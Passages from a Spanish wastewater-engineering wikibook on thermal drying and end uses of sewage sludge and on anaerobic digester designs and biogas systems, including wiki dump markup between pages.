El secado térmico permite transformar un producto pastoso (20÷35% de materia seca) en un producto seco, generalmente en forma de pelets o bolas de entre 1 y 3 mm, que puede ser empleado como:

Corrector orgánico para mejorar la estructura del suelo en la agricultura, si sus características de composición (especialmente en cuanto a metales pesados) lo hiciesen apto para este fin.

Combustible de baja calidad, en general en cementeras, incineradoras de basuras y plantas térmicas, con un valor calorífico equivalente aproximado de 4 kg. pelets = 1 litro de gasoil.

Cuando no existe otra alternativa que llevar los fangos a vertedero también minimiza el impacto ambiental ya que se eliminan los lixiviados que pudiera generar y se alarga la vida útil del vertedero.

=== Tipos de secadores ===

En casi todos los secadores, hay que evitar la llamada fase pastosa alrededor del 50% de humedad, que provoca formación de apelmazamientos y trastornos en el transporte del fango. Para superar esta fase pastosa es por lo que se recircula fango ya seco, aumentando la sequedad del fango hasta un valor superior a este límite de pastosidad.

En función de la forma de transmisión del calor hay dos tipos de secadores:

Convección: un gas caliente (aire, gases de escape…) transmite directamente el calor a la materia a secar. La gama de temperaturas del gas es muy variable.

Contacto: los sólidos a secar son calentados por contacto con una superficie caliente (indirecta) por medio de vapor o aceite térmico.

Los secadores de convección necesitan una gran superficie de fango expuesta a la corriente de gases caliente. En la mayoría de los casos, es necesaria una mezcla de fango deshidratado y de fango ya seco, para conseguir formar pequeñas bolas que ofrecen mayor superficie de contacto con el gas y conseguir además una mezcla con el 55% de sequedad para evitar así la fase plástica.

En función de si los gases de combustión entran o no en contacto con el fango a secar:

Directos: los gases de combustión entran en contacto directo con el fango a secar

Indirectos: cuando es por convección indirecta el calor de los gases de escape se traspasa a través de un intercambiador de calor al aire que, una vez calentado, será el que aporte la energía térmica suficiente para llevar a cabo el secado. Los de contacto son todos indirectos.

A continuación se relacionan los principales equipos secadores disponibles en el mercado:

==== Secador de tambor (convección) ====

El fango deshidratado se acondiciona previamente mezclándolo con fango ya secado. Se introduce en el tambor juntamente con el gas caliente. El fango avanza a lo largo del tambor de distintas formas: 

Desplazamiento mecánico: por la rotación del tambor, debido a la incorporación de deflectores en su interior o por gravedad.

(Tecnologías Swiss Combi )

Desplazamiento neumático: la propia corriente del gas desplaza el fango.

(Tecnología Andritz)

==== Secador de cinta o banda (convección) ====

Se alimenta el fango extrusionado dándole forma de pequeños espaguetis los cuales se depositan sobre una cinta perforada, esta cinta avanza dentro de un túnel donde se le expone a una corriente de gases 

calientes. En este mismo sistema cabría diferenciar ciertos tipos por la temperatura de los gases, pudiendo llegar a funcionar a muy baja temperatura (55&amp;nbsp;°C).

(Tecnología STC)

==== Secador de lecho fluidificado (convección) ====

El fango se introduce en una cámara llena parcialmente del material que hará de lecho, el propio fango seco, por el fondo de esta cámara se inyecta un gas caliente, normalmente aire, que crea unas turbulencias que mantiene en suspensión la mezcla lecho-fango. Debido al calor del gas y a la turbulencia el fango se seca. En algunos equipos de esta tecnología se añade otra fuente de aportación de calor a través de intercambiadores de calor sumergidos en el lecho fluidificado.

(Tecnología Austrian Energie)

==== Centrífuga (convección) ====

Se alimenta directamente con fango espesado. Combina la deshidratación del fango por efecto de la fuerza centrífuga en una primera fase, con propiamente el secado en una fase posterior dentro del mismo equipo por medio de un flujo de aire caliente a contracorriente. Es un sistema extremadamente simple lo que reduce la necesidad de algunos equipos periféricos.

(Tecnología Humoldt)

==== Secador de estrato delgado (contacto-convección) ====

Este equipo también conocido por turbosecador, está formado por una camisa caliente de forma cilíndrica dentro de la cual gira un rotor con palas que obliga al fango deshidratado a ponerse en contacto con esta camisa, formando una fina película. El calor se aporta a esta camisa mediante la circulación por su interior de aceite térmico o vapor. El fango se calienta por contacto con la camisa y por convección con el aire caliente que circula por el interior del tambor. El tiempo de permanencia es de pocos minutos.

==== Secador de disco (contacto) ====

El secador consiste en un tambor horizontal, en cuyo interior giran lentamente unos discos huecos a través de los cuales circula el aceite térmico o el vapor de agua. El fango, que entra que entra mezclado con fango seco por uno de sus extremos, avanza a lo largo del tambor gracias a unos deflectores colocados en los propios discos y en el tambor que tienen la doble misión de hacer avanzar el fango y evitar que se pegue a las paredes del secador.

(Tecnología Stord)

==== Secador vertical de bandejas (contacto) ====

Hay una serie de pisos circulares huecos por donde circula el elemento calefactor. El fango a secar juntamente con el ya seco mezclado en proporción adecuada, entra en el secador por la parte superior. Un sistema de paletas colocadas en la superficie hacen que el fango vaya avanzando desde el exterior hacia el centro del piso cayendo al inferior y en éste el movimiento del fango es desde el centro hacia la periferia.

(Tecnología Seghers)ayudemen ustedes quiero saber la disposicion de los lodos industriales

== Otras alternativas para la gestión de lodos de edar ==

=== Lodos como materia prima para la construcción ===

Una alternativa para el destino final de los lodos lo constituye el sector de la construcción, que por sus grandes necesidades de materias primas puede absorber la práctica totalidad de los lodos generados por el tratamiento de aguas residuales del país. La inertización de los mismos en matrices cerámicas permite obtener materiales aptos para la construcción.

A juicio de Joan Cusidó de la Universidad Politécnica de Cataluña existen importantes oportunidades de negocio en la valorización cerámica de los lodos de depuradora y potabilizadora. Los productos finales han demostrado una perfecta adecuación a las normativas técnicas para su uso en la construcción.

Las plantas para producción de materiales cerámicos a partir de estos lodos tienen un mayor coste de implantación debido a los sistemas de depuración de gases de la cocción cerámica, necesarios para cumplir los requerimientos ambientales. Asegura Joan Cusidó que la amortización de esta tecnología de tratamiento de gases se alcanza antes del primer año de funcionamiento de la planta contando con el valor del producto y las subvenciones por eliminación de lodos a través de su incorporación como materia prima en la obtención de productos de construcción.

=== Lodos para la restauración de espacios afectados por actividades extractivas ===

Una alternativa para el destino final de los lodos lo constituye el empleo de los mismos para restauración y acondicionamiento de espacios afectados por actividades extractivas.

Este empleo del lodo se está poniendo en práctica en Cataluña bajo la dirección del Sr. Esteve Serra Rodríguez, Jefe de la Sección de Restauración de Actividades Extractivas de la Dirección General de Patrimonio y del Medio Físico de la Generalitat de Cataluña. 

Se realiza la recuperación de minas a prados y terreno forestal, siendo también posible la recuperación para la agricultura. Los lodos se depositan mezclados con tierras que pueden ser totalmente infértil pero debe tener al menos un 20% de fracción fina (&lt;2mm). Tan sólo es necesaria una aplicación en el momento inicial, el lodo se descompone rápidamente, se forman colonias de lombrices y no se necesita hacer siembra, al cabo de aproximadamente un año la vegetación es uniforme.

Con este mismo fin puede usarse en taludes de carreteras y autopistas.
{{navegar
 |libro=Ingeniería de aguas residuales
 |reducido=Si
 |anterior=Línea de fangos
 |actual=Destino final de fangos
 |siguiente=Diseño de procesos en digestión anaerobia
}}

{{AutoCat}}</text>
      <sha1>9ujykmxfsqibg77xl1fmzsfqa2vwn6r</sha1>
    </revision>
  </page>
  <page>
    <title>Ingeniería de aguas residuales/Diseño de procesos en digestión anaerobia</title>
    <ns>0</ns>
    <id>12676</id>
    <revision>
      <id>429970</id>
      <parentid>280115</parentid>
      <timestamp>2026-08-02T09:30:19Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429970</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="37949" sha1="5its7zmzdxsbtsbq8600dw8nhhxcblm" xml:space="preserve">==1. INTRODUCCIÓN==

La velocidad de carga orgánica máxima de un proceso anaerobio está limitada por el tiempo de retención y por la actividad de los microorganismos implicados en los mecanismos bioquímicos de degradación de la materia orgánica. Puesto que las bacterias formadoras de metano tienen una velocidad de crecimiento baja, la retención de la biomasa activa es la clave de la operación de los reactores anaerobios avanzados, que permiten operar con bajos tiempos de retención hidráulicos (TRH) y elevados tiempos de retención de sólidos (TRS).

Todas las técnicas actualmente utilizadas se basan en la propiedad de las bacterias de formar flóculos por unión con otras bacterias, o de adherirse sobre superficies sólidas. En este sentido, las técnicas de retención de los microorganismos en el reactor pueden ser:

* Sedimentación interna.

* Sedimentación externa y recirculación.

* Inmovilización sobre superficies sólidas. Con respecto a la actividad de los microorganismos, puede conseguirse un comportamiento óptimo mediante:

* Eliminación de depósitos de material inerte. La mayor parte de las aguas residuales contienen sólidos inertes no degradables cuya acumulación en el digestor hace descender la concentración de la biomasa activa. Este problema puede resolverse utilizando una etapa previa de separación de estos materiales.

* Disminución de las limitaciones relacionadas con el fenómeno de difusión. La actividad de los organismos puede estar limitada por la difusión del sustrato. El proceso de difusión externo se incrementa mediante una adecuada agitación que facilite el contacto bacteria / sustrato. La difusión interna, a través de la capa de microorganismos que forman flóculos o película adherida, se facilita utilizando espesores de biocapa inferiores a 1 mm.

* Aplicación de procesos en varias etapas.

Los diferentes tipos de procesos de tratamiento anaerobio son:
#) Reactores monoetapa en los que la biomasa bacteriana no se encuentra soportada.
##) Reactor sin calentamiento y sin mezcla.
##) Reactor de mezcla continua (CSTR).
##) Reactor primario + secundario.
##) Reactor de contacto.
##) Reactor de lecho suspendido (UASB).
#) Reactores monoetapa en los que la biomasa bacteriana se encuentra inmovilizada o soportada.
##) Filtro anaerobio.
##) Contactor biológico rotativo anaerobio (AnRBC).
##) Reactor de contacto con material de soporte (CASBER).
##) Reactores híbridos. 
##) Reactores de lecho móvil.
##* Reactor de lecho expandido (AAFEB).
##* Reactor de lecho fluidizado (AAFFB).
# Reactores multietapa.
##) Reactores en paralelo.
##) Reactores en serie.
##) Reactores con separación de fases.

==2. REACTOR SIN CALENTAMIENTO Y SIN MEZCLA==

Es, sin duda, el más simple y el más antiguo de todos los procesos de digestión. 

Este digestor es un gran tanque de almacenamiento, donde no existe ningún elemento capaz de acelerar el proceso. La llegada del influente se realiza intermitentemente. Se trata, por lo tanto, de un reactor de alimentación semicontinua.

La mezcla o agitación en el interior del digestor la llevan a cabo las burbujas de biogás producido en el proceso, en su camino ascendente hacia la superficie. Esta pequeña agitación da lugar a una estratificación en el interior del digestor. Se distinguen principalmente tres zonas:

* Zona superior, donde se encuentran las espumas.

* Zona media, donde se sitúan los sobrenadantes.

* Zona inferior, donde se lleva a cabo el proceso de digestión. El influente digerido se espesa en esta zona y cada cierto tiempo es extraído por la parte central inferior del digestor.

Los líquidos sobrenadantes se extraen por un lateral. Por la parte superior de la cubierta se extrae el gas formado en el proceso. La llegada del influente se realiza por la parte superior.

Los parámetro típicos de operación de este proceso son:

* Densidad de carga orgánica (Kg DQO/m3/d): 0,4 - 1,6.

* Tiempo de retención hidráulico (d): 30 - 60.

Como el TRH es elevado y equivalente al TRS, la concentración de biomasa activa que se puede conseguir es limitada y, por consiguiente, la carga volumétrica y la producción de gas son bajas.

Como no existe en este sistema recirculación de parte del influente digerido, las aguas residuales tienen que contener un inóculo de microorganismos anaerobios, por lo que estos reactores se suelen utilizar en la digestión de vertidos que contienen estiércoles. Son, pues, digestores típicamente rurales.

==3. REACTOR DE MEZCLA CONTINUA (CSTR) ==

Este tipo de reactores empezó a desarrollarse a partir de que las experiencias realizadas en laboratorio demostraron que el calentamiento, la mezcla y la alimentación uniforme, favorecían el proceso de digestión. Como consecuencia de estas mejoras, el volumen del digestor se reduce.

Son reactores relativamente simples, calentados, de mezcla completa y sin recirculación de parte del influente digerido. En este caso, el TRH es también igual al TRS.

Para un tratamiento efectivo del influente, este tipo de reactores requiere largos TRH, ya que carecen de medios específicos de retención de la biomasa activa. Con la reducción del TRH en un digestor de mezcla completa, la cantidad de microorganismos dentro del digestor también disminuye, ya que son lavados con el efluente. El tiempo de retención hidráulico crítico (TRC) se alcanza cuando las bacterias son extraídas del reactor a una velocidad mayor a la que éstas se reproducen. Dado que las bacterias formadoras de metano son de más lento crecimiento que las bacterias formadoras de ácidos, las primeras son consideradas como el componente limitante en el proceso de digestión anaerobia. Necesitan largos TRS (y, por lo tanto, largos TRH), con valores mínimos alrededor de 3 a 5 días a 35 ºC. Para asegurar el funcionamiento del proceso, los TRH suelen variar entre 10 y 30 días a 35 ºC.

Las características operacionales de este proceso son:

* Densidad de carga orgánica (Kg DQO/m3/d): 1 - 6.

* Concentración en el interior (g SSV/l): 2 - 5.

* Concentración en el efluente (g SS/l): 25 - 100.

* Tiempo de retención hidráulico (d): 10 - 30.

* Tiempo de arranque (d): 30 - 90.

Estos reactores se aplican, básicamente, en el tratamiento de fangos de aguas residuales urbanas, y de influentes con estiércoles y aquellos provenientes de actividades agrícolas o agroindustriales.

==4. REACTOR PRIMARIO + SECUNDARIO==

Un digestor de mezcla completa (digestor primario) puede estar acoplado en serie con un segundo tanque de digestión (digestor secundario). Tradicionalmente, este segundo tanque es de un diseño similar al primario, y se diferencia de éste en que no lleva equipos de agitación ni de calentamiento. La principal misión de esta segunda unidad es la de concentrar el influente digerido y eliminar el líquido sobrenadante. Con esto se consigue disminuir el volumen de lodo que se envía a los siguientes procesos de tratamiento.

La reducción de sólidos y la formación de gas en esta segunda unidad es casi despreciable. El rendimiento obtenido en estos digestores secundarios es muy pequeño, y se debe a dos factores:
#) El influente digerido que llega a esta unidad tiene un alto contenido de gas ocluido, que tiende a subir a la superficie, arrastrando partículas de sólidos que escaparán con los sobrenadantes.
#) Por efecto de la agitación y mezcla que se produce en el digestor primario, las partículas sólidas se rompen formando otras de tamaño más pequeño. Estas partículas decantan muy mal y se quedan en la superficie donde se van con el sobrenadante.

Estos sobrenadantes son de muy baja calidad, con una gran cantidad de sólidos.

Este problema puede evitarse sometiendo a este líquido a un tratamiento independiente antes de recircularlos a cabecera como, por ejemplo, a una laguna de oxidación, a un biodisco, etc.

En definitiva, la misión de estos digestores secundarios, con más o menos eficacia, es la de:
#) Espesar el influente digerido.
#) Servir de reserva al digestor primario, lo que obligaría a colocar equipos de calentamiento y mezcla.
#) Almacenar el influente digerido.
#) Constituir un margen de seguridad para evitar la fuga de influentes no digeridos.
#) Reducir gérmenes patógenos

==5. REACTOR DE CONTACTO==

La primera mejora del proceso anaerobio consistió en la separación del TRS del TRH. Separando el TRS del TRH, el volumen del digestor se reduce y la densidad de carga orgánica o la velocidad de carga orgánica a tratar se incrementa. Por lo tanto, aguas residuales relativamente cargadas, pueden ser tratadas a bajos TRHs, pero manteniendo el TRS requerido para el desarrollo de bacterias metanogénicas.

En este sentido, el primer proceso anaerobio que separó el TRS del TRH fue la digestión de contacto anaerobia, similar en su configuración al sistema de fangos activados.

Este proceso comprende la alimentación continua de un reactor de mezcla completa seguido de un clarificador o separador sólido/líquido. Parte del lodo digerido y sedimentado se recircula al digestor, donde se mezcla con el influente no digerido. La reinoculación de una biomasa bien aclimatada  permite mantener óptimas condiciones de funcionamiento del proceso, sobre todo en aguas residuales industriales. Estas a diferencia de la urbanas, no contienen generalmente un alta proporción de microorganismos.

En este proceso la operación esencial es la separación sólido/líquido, lo cual ofrece serios problemas, dadas las características de este tipo de lodos, y el continuo desprendimiento de burbujas de gas que dificulta enormemente el proceso de separación (ver punto 4), por lo que hay que recurrir  previamente a sistemas de desgasificación. El uso de la técnica de stripping o el enfriamiento del influente digerido en su camino hacia el clarificador puede disminuir este problema. Una reducción en la temperatura de 35 a 15 ºC detiene la producción de gas en el clarificador y favorece la floculación de los sólidos. Esto último también puede conseguirse mediante el uso de coagulantes, tales como el hidróxido sódico seguido de cloruro férrico. También se utilizan membranas de ultrafiltración para conseguir una alta retención celular. 

Los parámetro típicos de operación de este proceso son:

* Densidad de carga orgánica (Kg DQO/m3/d): 2 - 10.

* Concentración en el interior (g SSV/l): 5 - 10.

* Concentración en el efluente (g SS/l): 0,5 - 20.

* Tiempo de retención hidráulico (d): 1 - 5.

* Tiempo de arranque (d): 20 - 60.

==6. REACTOR DE FLUJO SUSPENDIDO (UASB) ==

En este tipo de sistemas, las bacterias se desarrollan como una masa floculante en un flujo ascendente del influente. El lecho bacteriano es retenido por su propia masa y por pequeñas partículas presentes en el influente en la parte inferior del reactor, mientras que el gas y el efluente escapan por la parte superior del mismo. Como la disociación de la biomasa bacteriana ocurre en cierto grado, parte de los organismos se pierden por el efluente. Sin embargo, y aunque el TRH es bajo, el TRS es lo suficientemente prolongado para que se desarrolle una densa masa de microorganismos metanogénicos.

En un reactor UASB, la biomasa bacteriana esta presente en forma de granos o glomérulos  compactos de hasta 3 - 4 mm, que se desarrollan bajo condiciones de flujo ascendente continuo mediante mecanismos no bien conocidos.

Una de las dos claves principales para mantener un elevado tiempo de retención del fango es la obtención de un fango con buenas características de sedimentación. Auténticos gránulos de tamaño considerables se forman después de uno o dos meses de funcionamiento del sistema. Las características de sedimentación del fango aumentan si el mecanismo de agitación del fango es mínimo o nulo. La concentración de fango en la zona inferior del reactor puede ser de hasta 40 - 70 g SSV/l, y las partículas llegan a alcanzar una velocidad de sedimentación de hasta 50 m/h. Sobre este lecho de fango se desarrolla otro lecho. Este último está formado por gránulos más pequeños, flóculos y burbujas de gas y se encuentra estratificado, siendo más denso y con granos más grandes en su zona inferior y menos denso y con gránulos más pequeños en su zona superior.

La segunda clave para el óptimo funcionamiento de este tipo de sistema es la instalación de un separador sólido/gas en la parte superior del reactor. Este sedimentador/desgasificador actúa como un sedimentador interno, y evita la fuga de los flóculos de pequeño tamaño que ascienden adheridos a las burbujas de gas.

Las características operacionales de este proceso son:

* Densidad de carga orgánica (Kg DQO/m3/d): 5 - 30.

* Tiempo de retención hidráulico (d): 0,2 - 2.

* Concentración media en el interior (g SSV/l): 20 - 40.

* Concentración en el efluente (g SS/l): 0 - 5.

* Tiempo de arranque (d): 30 - 60.

* Velocidad vertical ascendente (m/h): 0,6 - 0,9.

La elevadas cargas orgánicas que admite este tipo de reactores hace que se hayan empleado de manera efectiva en el tratamiento de aguas residuales procedentes de la industria alimentaría.

==7. FILTRO ANAEROBIO==

En un sistema de filtro anaerobio (también llamado sistema de película fija o de lecho fijo) la biomasa bacteriana se encuentra, en parte, inmovilizada en un material de soporte fijo en el reactor biológico, y en parte en suspensión entre los espacios vacíos que restan (la mayor proporción).

El flujo del influente es normalmente vertical, bien ascendente  y el propio material de relleno actúa como separador de gas, que se recoge en la parte superior, proporcionando zonas de reposo para la sedimentación de los sólidos que se encuentran en suspensión.

La rugosidad del material de soporte, su grado de porosidad, así como el tamaño del poro, afecta a la tasa de colonización de la población microbiana. Los materiales utilizados pueden ser ladrillos, granito, vinilos, poliésteres, poliuteranos, materiales cerámicos, de vidrio, etc.

En los reactores de flujo ascendente la mayor parte de la biomasa bacteriana se acumula como flóculos, mientras que en los de flujo descendente, la biomasa está casi totalmente retenida en las paredes del reactor y el material de soporte.

El filtro anaerobio es aconsejable para aguas residuales con carga orgánica moderada soluble o que se degrade fácilmente en compuestos solubles y, también, para aguas con elevada carga orgánica soluble que pueda ser diluida con recirculación de efluente. Los filtros con flujo descendente no pueden usarse para tratar aguas con fracciones apreciables de sólidos en suspensión, ya que pueden provocar problemas de atascos.

Los parámetro típicos de operación de este proceso son:

* Densidad de carga orgánica (Kg DQO/m3/d): 0,15 - 30.

* Concentración en el interior (g SSV/l): 10 - 20.

* Concentración en el efluente (g SS/l): 0 - 10.

* Tiempo de retención hidráulico: 0,5 - 2.

* Tiempo de arranque (d): 20 - 70.

==8. CONTACTORES BIOLOGICOS ROTATIVOS ANAEROBIOS (AnRBC) ==

En este caso, la biomasa bacteriana se encuentra soportada sobre un material inerte, configurado a modo de discos paralelos (biodiscos), de jaulas cilíndricas rellenas de diversos materiales (biocilindros), o tambores recorridos internamente por canales (biorrotores). Estos dispositivos se encuentran total o casi totalmente sumergidos, rotando continuamente sobre un eje horizontal, en un tanque cerrado a través del cual fluye el agua residual. La rotación continuada permite la mezcla dentro del tanque y facilita la transferencia del biogás producido a la zona superior del tanque. 

La velocidad de rotación ejerce cierto control sobre el grosor de la biopelícula, y suele ser entre 1 y 7 rpm, producida por un mecanismo mecánico o una soplante.

Cuando el espesor de la biopelícula alcanza un determinado grosor, los organismos más en el interior en contacto con el soporte, mueren por falta de nutrientes y las fuerzas hidráulica que ejerce el flujo de influente y la rotación desprenden la biopelícula. Esta materia orgánica es arrastrada por el agua y separada mediante sedimentación por un separador sólido/líquido.

Las características operacionales de este proceso no están bien establecidas, al no estar muy extendido su uso.

==9. REACTOR DE CONTACTO CON MATERIAL DE SOPORTE (CASBER) ==

Este proceso es esencialmente idéntico al contacto interno, peor con la incorporación de un material inerte en el digestor.

En este caso, la adición de material de soporte es extremadamente limitada en comparación con la cantidad usada comúnmente en, por ejemplo, los reactores de lecho fluidizado. 

Las partículas utilizadas suelen tener un diámetro entre 5 y 25 mm, tienen una baja velocidad de sedimentación y, por lo tanto, pueden mantenerse en suspensión con un bajo grado de agitación. Un pequeño porcentaje de bacterias es soportada en estas partículas, que pueden ser arenas, plásticos, etc., mientras que un porcentaje sustancial de la biomasa activa permanece como flóculos en suspensión.

Como en el caso del sistema de contacto interno, la fase principal del proceso es la separación sólido/líquido.

Los parámetro típicos de operación de este proceso son:

* Densidad de carga orgánica (Kg DQO/m3/d): 4 - 25.

* Concentración en el interior (g SSV/l): 5 - 15.

* Concentración en el efluente (g SS/l): 0,5 - 10.

* Tiempo de retención hidráulico (d): 0,25 - 2.

* Tiempo de arranque (d): 20 - 60.

Este proceso es extraordinariamente adecuado para aguas residuales con alta carga de residuos fácilmente hidrolizables, como las de la industria alimentaría.

==10. REACTORES HÍBRIDOS==

En los últimos años se ha desarrollado un tipo de reactores que combina características  del sistema de lecho suspendido y del filtro anaerobio de flujo ascendente. La parte correspondiente a éste último comprende el tercio superior del reactor y su función más importante no es tanto el aumento en el rendimiento de la operación como la posibilidad de retención de la biomasa. De esta manera se trata de sumar las ventajas del reactor UASB (altas cargas y simplicidad) con las del filtro anaerobio (altas cargas y resistencia a las sobrecargas).

==11. REACTORES DE LECHO MÓVIL==

El tratamiento biológico efectivo de aguas residuales industriales y de otro tipo de influentes requiere de sistemas que aseguren un amplio rango de tolerancia a fluctuaciones en las condiciones de operación. El pH, la densidad de carga y la temperatura, pueden variar afectando a la actividad y viabilidad de las poblaciones bacteriana presentes en el reactor anaerobio. Esto hace que los procesos de película fija se consideren, en general, más resistentes que otros sistemas alternativos a cambios en los parámetros de operación del proceso por su capacidad para retener la biomasa.

La degradación anaerobia de aguas residuales está limitada en los sistemas de crecimiento bacteriano en suspensión por la concentración que puede alcanzar el lodo en el reactor, aunque estos problemas pueden reducirse, en cierta manera, con la sedimentación y recirculación del mismo. 

Los sistemas de filtro bacteriano dependen de la inmovilización de la biomasa bacteriana, y para minimizar pérdidas de presión y problemas de oclusiones por sólidos, el material fijo  tiene diámetros bastante grandes, lo que limita la superficie colonizada por m3 de reactor alrededor de 200 m2/m3. Estos problemas quedan superados con los sistemas de lecho expandido y fluidizado donde el tamaño del diámetro empleado permite acumular elevadas biomasas bacterianas alrededor de las partículas de soporte. Estos sistemas también reducen los problemas de atascos y los tiempos requeridos para el tratamiento.

La distinción entre lecho expandido y lecho fluidizado es difusa, si bien se considera expandido cuando la expansión del lecho es menor al 20% del total y fluidizado cuando es superior. La velocidad ascendente es la que determina el grado de expansión del lecho.

===11.1. Reactores de lecho expandido===

En este tipo de reactores, la formación de biomasa puede alcanzar los 30 kg/m3. 

La cantidad de material de soporte añadido es alrededor del 10% de volumen del digestor y el diámetro de las partículas es de 0,3 a 3,0 mm.

La velocidad vertical necesaria es de 2 - 10 m/h y  es generada por una elevada recirculación del efluente. La expansión del lecho es sostenida hasta un nivel en el que cada partícula mantienen una posición fija en el lecho.

Los parámetro típicos de operación de este proceso son:

* Densidad de carga orgánica (Kg DQO/m3/d): 5 - 50.

* Concentración en el interior (g SSV/l): 10 - 30.

* Concentración en el efluente (g SS/l): 0 - 5.

* Tiempo de retención hidráulico (h): 1 - 10.

* Tiempo de arranque (d): 30 - 70.

La mayor parte de las ventajas atribuibles a este sistema derivan de la elevada concentración de biomasa activa sobre las partículas de soporte y las elevadas tasas de recirculación, lo que hace al digestor menos sensible a componentes tóxicos del influente. De ahí el interés de su uso en el tratamiento de aguas residuales industriales de diversos tipos.

===11.2. Reactores de lecho fluidizado===

En este caso la elevada velocidad ascensional (6 - 20) m/h expande el lecho hasta un punto en el que la fuerza de gravedad y la fuerza de rozamiento se igualan. Para esto se necesita una elevadísima tasa de recirculación del influente y las partículas de soporte no tienen una posición fija dentro del lecho, si bien se mantienen dentro de un volumen restringido. 

La cantidad de material de soporte añadido es alrededor del 10% de volumen del digestor y el diámetro de las partículas es de 0,2 a 0,7 mm. La enorme superficie activa que puede alcanzarse con el uso de partículas de pequeño diámetro y el grado de fluidización, que permite la colonización bacteriana en toda la superficie de la partícula  (del 95 al 100% de la biomasa se encuentra adherida al ellas) aumenta enormemente la superficie disponible, que puede alcanzar de 1.000 a 2.500 m2/m3. 

Los parámetro típicos de operación de este proceso son:

* Densidad de carga orgánica (Kg DQO/m3/d): 5 - 50.

* Concentración en el interior (g SSV/l): 10 - 40.

* Concentración en el efluente (g SS/l): 0 - 5.

* Tiempo de retención hidráulico (h): 1 - 10.

* Tiempo de arranque (d): 30 - 70.

La mayor parte de las ventajas atribuibles a este sistema derivan de la elevada concentración de biomasa activa sobre diminutas partículas de soporte, las elevadas tasas de recirculación, el máximo contacto entre la biopelícula y el líquido a tratar, y la minimización de los problemas de la difusión.

==12. REACTORES MULTIETAPA==

Los sistemas multietapa  han demostrado ser de extraordinaria aplicación en el tratamiento de determinadas aguas residuales industriales, ya que permiten variar los tiempos de retención en los distintos digestores, reducir el tiempo de arranque y las pérdidas de biomasa, así como aumentar la capacidad del tratamiento y los rendimientos.

Procesos en paralelo parecen ser útiles en aquellas aguas residuales con una fracción importante de residuos particulados, de tal manera que uno de los digestores puede reservarse únicamente al tratamiento de éstos, con tiempos de retención mayores que el digestor de las fracción soluble.

Filtro anaerobios y reactores de lecho fluidizado en serie han sido utilizados usando la primera etapa para la aclimatación inicial de los microorganismos y su posterior inoculación de la segunda etapa, disminuyendo así el tiempo de arranque del proceso.

Los sistemas multietapa en fase presenta una gran ventaja sobre las configuraciones anteriores: separan en digestores diferentes las bacterias acidogénicas de las metanogénicas, generando en cada digestor las condiciones óptimas de crecimiento para cada tipo de bacteria. Para que esta configuración funcione, las condiciones en el primer digestor tienen que ser lo suficientemente desfavorables para que las bacterias metanogénicas sólo se desarrollen en el segundo digestor.

==13. COMPONENTES DEL PROCESO DE DIGESTIÓN ANAEROBIA==

===13.1. Tuberías y válvulas===

===13.2. El digestor===

Los tanques de digestión pueden tener forma cilíndrica, cúbica, ovoide o rectangular, aunque la mayor parte de los tanques que se construyen en la actualidad son cilíndricos. El suelo del tanque está inclinado, para que la arena, el material inorgánico sedimentable y la fracción pesada del efluente puedan ser extraídos del tanque. Los digestores modernos tienen cubiertas, fijas o flotantes, cuya misión es impedir que escapen olores, conservar la temperatura, evitar la entrada de oxígeno y recoger el gas producido.

==== Entrada del influente. ====

Normalmente, el influente se introduce por la parte superior del digestor y el sobrenadante se extrae por el lado contrario.

==== Salida del efluente. ====

En un digestor de cubierta fija puede haber de 3 a 5 tubos de sobrenadante colocados a distintos niveles, o un único tubo con válvulas a distintos niveles, para la extracción del mismo. Por regla general, se elige aquel nivel que extraiga un efluente de mejor calidad (con la menor cantidad posible de sólidos), para reenviarlo a cabecera de la E.D.A.R. o a las eras de secado, si hay espacio disponible.

==== Extracción de lodos. ====

Las tuberías de extracción de fangos suelen estar colocadas sobre bloques a lo largo del suelo inclinado del digestor. El fango se extrae por el centro del tanque. Estas tuberías tienen, por lo general, 15 cm de diámetro o van equipadas con válvulas tapón para evitar obstrucciones, y se utilizan para llevar periódicamente el fango del digestor a un sistema de evacuación de fangos. Estas tuberías transportan también fangos de reserva desde el digestor secundario al primario y recirculan el fango del fondo para remover y romper la costra.

===13.3. Sistema de gas===

El proceso de digestión anaerobia produce de 400 a 700 litros de gas por cada kilogramo de materia orgánica destruida, según las características del influente. El gas se compone fundamentalmente de metano y anhídrido carbónico. El contenido en metano del gas de un digestor que funcione adecuadamente variará del 65% al 70% en volumen, con una oscilación en el anhídrido carbónico del 30% al 35%. Uno o dos por ciento del gas del digestor se compone de otros gases.

Debido a la presencia de metano el gas del digestor posee un poder calorífico aproximado de 500 a 600 kilocalorías por litro.

El gas del digestor puede ser utilizado en la estación depuradora de diversos modos:

* Para calentar los digestores.

* En la calefacción de los edificios.

* Como combustible de los motores para las soplantes del proceso de fangos activados.

* Para producir la energía eléctrica de la instalación.

El gas del digestor puede ser extremadamente peligroso en dos aspectos. La mezcla de gas y aire en proporciones comprendidas entre el 5,5 y el 13,5% es explosiva y puede también causar asfixias por agotamiento de oxígeno. Por lo tanto, en las instalaciones de bombeo de fangos y cerca de los digestores estará prohibido encender fuego, fumar o provocar chispas.

El sistema de gas lo traslada desde el digestor hasta los puntos de consumo o al quemador de gases en exceso. El sistema de gas se compone de las siguientes partes:

* Cúpula de gas. 

* Válvulas de seguridad y rompedora de vacío. 

* Apagallamas. 

* Válvulas térmicas. 

* Separadores de sedimentos. 

* Purgadores de condensado. 

* Medidores de gas. 

* Manómetros. 

* Reguladores de presión. 

* Almacenamiento del gas. 

* Quemador de los gases sobrantes. 

==== Cúpula de gas. ====

Es un punto en el techo del digestor desde el cual se extrae el gas del tanque. En los tanques de cubierta fija puede haber también un cierre de agua  incorporado, para proteger la estructura del tanque del exceso de presión positiva o negativa (vacío) creada por la extracción del fango o del gas demasiado rápidamente.

Si la presión de gas sube por encima de los 30 cm de columna de agua, se escapará a través del cierre de agua hacia la atmósfera, sin levantar la cubierta. Si se extrae el fango o se utiliza el gas con demasiada rapidez, el vacío puede pasar de los 20 cm y romper el cierre de agua, permitiendo la entrada del aire en el tanque. Sin el cierre de agua el vacío aumentaría enormemente y destrozaría el tanque.

La tubería entre el tanque de almacenaje de gas y el digestor puede también proteger a éste de las pérdidas del cierre de agua, si el paso no está cortado. Cuando se introducen líquidos en el digestor, el gas puede salir por la tubería hacia el tanque de almacenaje y cuando se extraen del digestor, el gas puede volver al tanque a través de la misma conducción.

==== Válvulas de seguridad y rompedora de vacío. ====

